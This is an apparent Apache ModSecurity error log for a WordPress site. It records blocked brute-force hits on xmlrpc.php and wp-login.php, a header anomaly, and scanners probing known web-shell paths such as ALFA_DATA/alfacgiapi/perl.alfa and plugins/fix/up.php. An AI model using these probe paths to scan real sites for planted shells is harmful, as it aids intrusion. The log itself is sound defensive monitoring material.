[Wed Mar 25 03:11:05.352410 2026] [:error] [pid 20371:tid 20390] [client 45.161.225.164:32120] [client 45.161.225.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.225.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLhyeb25OL4yTv2fF_F8wAAARE"]
[Wed Mar 25 03:12:44.761446 2026] [:error] [pid 58154:tid 58168] [client 45.161.225.164:32441] [client 45.161.225.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.225.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLiLA0pGUh6bwD3ouLDfwAAAMs"]
[Wed Mar 25 04:31:14.572640 2026] [:error] [pid 756:tid 865] [client 65.254.225.228:42612] [client 65.254.225.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acL0kjOaW6oylMIDBCRisgAAAI0"]
[Wed Mar 25 04:31:16.787270 2026] [:error] [pid 756:tid 873] [client 65.254.225.228:42612] [client 65.254.225.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acL0lDOaW6oylMIDBCRiuAAAAJU"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 05:40:24.157633 2026] [:error] [pid 47946:tid 47953] [client 43.166.134.114:35564] [client 43.166.134.114] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acMEyDipQTqBMSeKYhfsjAAAAQU"]
[Wed Mar 25 07:38:44.145006 2026] [:error] [pid 754:tid 774] [client 45.94.31.15:56173] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acMghDisL3asPbA3CtjOsAAAAAk"]
[Wed Mar 25 07:38:44.152682 2026] [:error] [pid 892:tid 919] [client 45.94.31.15:56009] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMghCT_G8WMU3T3yxpOxwAAANQ"], referer: www.google.com
[Wed Mar 25 07:38:44.154299 2026] [:error] [pid 892:tid 919] [client 45.94.31.15:56169] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "acMghCT_G8WMU3T3yxpOyAAAANQ"], referer: www.google.com
[Wed Mar 25 07:38:44.170798 2026] [:error] [pid 892:tid 905] [client 45.94.31.15:56204] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMghCT_G8WMU3T3yxpOygAAAMc"], referer: www.google.com
[Wed Mar 25 07:38:44.170845 2026] [:error] [pid 47946:tid 47950] [client 45.94.31.15:56213] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "acMghDipQTqBMSeKYhcX0AAAAQI"]
[Wed Mar 25 07:38:44.638924 2026] [:error] [pid 26269:tid 26297] [client 45.94.31.15:52670] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acMghEn7e-ZQbaIs7qx_jQAAAZU"]
[Wed Mar 25 07:38:44.645909 2026] [:error] [pid 754:tid 782] [client 45.94.31.15:52724] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "acMghDisL3asPbA3CtjO2gAAABE"], referer: www.google.com
[Wed Mar 25 07:38:44.649198 2026] [:error] [pid 26269:tid 26282] [client 45.94.31.15:52708] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMghEn7e-ZQbaIs7qx_kAAAAYY"], referer: www.google.com
[Wed Mar 25 07:38:44.660143 2026] [:error] [pid 26321:tid 26362] [client 45.94.31.15:53297] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "acMghPKO65qqGZCSPZqw1QAAAhU"]
[Wed Mar 25 07:38:44.670417 2026] [:error] [pid 26269:tid 26286] [client 45.94.31.15:53263] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMghEn7e-ZQbaIs7qx_kQAAAYo"], referer: www.google.com
[Wed Mar 25 07:38:45.138148 2026] [:error] [pid 755:tid 826] [client 45.94.31.15:50356] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acMghaS6bdaeEwgCGwpMUgAAAEs"]
[Wed Mar 25 07:38:45.148651 2026] [:error] [pid 26320:tid 26347] [client 45.94.31.15:50486] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMghTkUgS2mHAojGnl42wAAAco"], referer: www.google.com
[Wed Mar 25 07:38:45.150655 2026] [:error] [pid 47989:tid 48009] [client 45.94.31.15:50442] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "acMghSWKdJMhIccROjmeswAAAVI"], referer: www.google.com
[Wed Mar 25 07:38:45.161948 2026] [:error] [pid 26320:tid 26371] [client 45.94.31.15:51276] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMghTkUgS2mHAojGnl43QAAAc8"], referer: www.google.com
[Wed Mar 25 07:38:45.162871 2026] [:error] [pid 26320:tid 26368] [client 45.94.31.15:51021] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "acMghTkUgS2mHAojGnl43wAAAcw"]
[Wed Mar 25 07:38:45.733506 2026] [:error] [pid 892:tid 915] [client 45.94.31.15:62486] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acMghST_G8WMU3T3yxpPIAAAANE"]
[Wed Mar 25 07:38:45.735629 2026] [:error] [pid 47946:tid 47951] [client 45.94.31.15:64941] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "acMghTipQTqBMSeKYhcX9QAAAQM"]
[Wed Mar 25 07:38:45.742650 2026] [:error] [pid 754:tid 779] [client 45.94.31.15:64397] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMghTisL3asPbA3CtjPCAAAAA4"], referer: www.google.com
[Wed Mar 25 07:38:46.224745 2026] [:error] [pid 26269:tid 26280] [client 45.94.31.15:63198] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "acMghkn7e-ZQbaIs7qx_4AAAAYQ"]
[Wed Mar 25 07:38:46.230638 2026] [:error] [pid 26320:tid 26336] [client 45.94.31.15:63024] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acMghjkUgS2mHAojGnl5DQAAAcc"]
[Wed Mar 25 07:38:46.269761 2026] [:error] [pid 892:tid 919] [client 45.94.31.15:64260] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMghiT_G8WMU3T3yxpPPQAAANQ"], referer: www.google.com
[Wed Mar 25 07:38:46.669686 2026] [:error] [pid 26321:tid 26360] [client 45.94.31.15:63139] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMghvKO65qqGZCSPZqxLgAAAhM"], referer: www.google.com
[Wed Mar 25 07:38:46.677733 2026] [:error] [pid 47989:tid 48010] [client 45.94.31.15:63185] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "acMghiWKdJMhIccROjme5QAAAVM"], referer: www.google.com
[Wed Mar 25 07:38:47.169878 2026] [:error] [pid 26269:tid 26279] [client 45.94.31.15:51773] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgh0n7e-ZQbaIs7qyADQAAAYM"], referer: www.google.com
[Wed Mar 25 07:38:47.170506 2026] [:error] [pid 26269:tid 26299] [client 45.94.31.15:51848] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "acMgh0n7e-ZQbaIs7qyADgAAAZc"], referer: www.google.com
[Wed Mar 25 07:38:47.277860 2026] [:error] [pid 47989:tid 48003] [client 45.94.31.15:57782] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMghyWKdJMhIccROjme9QAAAUw"], referer: www.google.com
[Wed Mar 25 07:38:48.151059 2026] [:error] [pid 47946:tid 47957] [client 45.94.31.15:57475] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgiDipQTqBMSeKYhcYQgAAAQk"], referer: www.google.com
[Wed Mar 25 07:38:48.271654 2026] [:error] [pid 26320:tid 26345] [client 45.94.31.15:58394] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgiDkUgS2mHAojGnl5UgAAAck"], referer: www.google.com
[Wed Mar 25 07:38:49.142436 2026] [:error] [pid 47946:tid 47959] [client 45.94.31.15:52036] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgiTipQTqBMSeKYhcYVAAAAQs"], referer: www.google.com
[Wed Mar 25 07:38:49.270918 2026] [:error] [pid 754:tid 775] [client 45.94.31.15:52661] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgiTisL3asPbA3CtjPQgAAAAo"], referer: www.google.com
[Wed Mar 25 07:38:50.113703 2026] [:error] [pid 47989:tid 47991] [client 45.94.31.15:59308] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgiiWKdJMhIccROjmfGQAAAUA"], referer: www.google.com
[Wed Mar 25 07:38:50.265925 2026] [:error] [pid 26449:tid 26461] [client 45.94.31.15:62225] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgitpZ2T15NDqzAjGdOgAAAkg"], referer: www.google.com
[Wed Mar 25 07:38:51.101542 2026] [:error] [pid 26449:tid 26464] [client 45.94.31.15:58069] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgi9pZ2T15NDqzAjGdXAAAAks"], referer: www.google.com
[Wed Mar 25 07:38:51.263477 2026] [:error] [pid 26449:tid 26454] [client 45.94.31.15:60250] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgi9pZ2T15NDqzAjGdYAAAAkE"], referer: www.google.com
[Wed Mar 25 07:38:52.077649 2026] [:error] [pid 755:tid 843] [client 45.94.31.15:54250] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgjKS6bdaeEwgCGwpM3QAAAFQ"], referer: www.google.com
[Wed Mar 25 07:59:41.450137 2026] [:error] [pid 26449:tid 26472] [client 176.57.188.217:58958] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acMlbdpZ2T15NDqzAjGn-AAAAlM"]
[Wed Mar 25 07:59:43.517000 2026] [:error] [pid 26321:tid 26346] [client 176.57.188.217:36784] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acMlb_KO65qqGZCSPZq0hQAAAgY"]
[Wed Mar 25 07:59:45.685721 2026] [:error] [pid 892:tid 918] [client 176.57.188.217:36794] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "acMlcST_G8WMU3T3yxpTLQAAANM"]
[Wed Mar 25 07:59:47.800942 2026] [:error] [pid 26449:tid 26465] [client 176.57.188.217:43144] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "acMlc9pZ2T15NDqzAjGoAgAAAkw"]
[Wed Mar 25 07:59:49.978763 2026] [:error] [pid 756:tid 857] [client 176.57.188.217:43158] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "acMldTOaW6oylMIDBCTLGgAAAIU"]
[Wed Mar 25 07:59:51.999026 2026] [:error] [pid 47946:tid 47968] [client 176.57.188.217:43170] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "acMldzipQTqBMSeKYhcd4QAAARQ"]
[Wed Mar 25 07:59:53.897676 2026] [:error] [pid 47946:tid 47969] [client 176.57.188.217:43186] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "acMleTipQTqBMSeKYhcd6QAAARU"]
[Wed Mar 25 07:59:55.995754 2026] [:error] [pid 26449:tid 26460] [client 176.57.188.217:43200] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "acMle9pZ2T15NDqzAjGoFAAAAkc"]
[Wed Mar 25 07:59:58.154137 2026] [:error] [pid 47946:tid 47956] [client 176.57.188.217:44302] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "acMlfjipQTqBMSeKYhcd6gAAAQg"]
[Wed Mar 25 08:00:00.261423 2026] [:error] [pid 756:tid 869] [client 176.57.188.217:44318] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "acMlgDOaW6oylMIDBCTLKAAAAJE"]
[Wed Mar 25 08:00:02.422742 2026] [:error] [pid 892:tid 909] [client 176.57.188.217:44322] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "acMlgiT_G8WMU3T3yxpTMgAAAMs"]
[Wed Mar 25 08:00:04.556878 2026] [:error] [pid 26269:tid 26289] [client 176.57.188.217:44338] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "acMlhEn7e-ZQbaIs7qyB1QAAAY0"]
[Wed Mar 25 08:00:06.671014 2026] [:error] [pid 26449:tid 26461] [client 176.57.188.217:50852] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "acMlhtpZ2T15NDqzAjGoKwAAAkg"]
[Wed Mar 25 08:00:08.918312 2026] [:error] [pid 892:tid 906] [client 176.57.188.217:50856] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "acMliCT_G8WMU3T3yxpTNgAAAMg"]
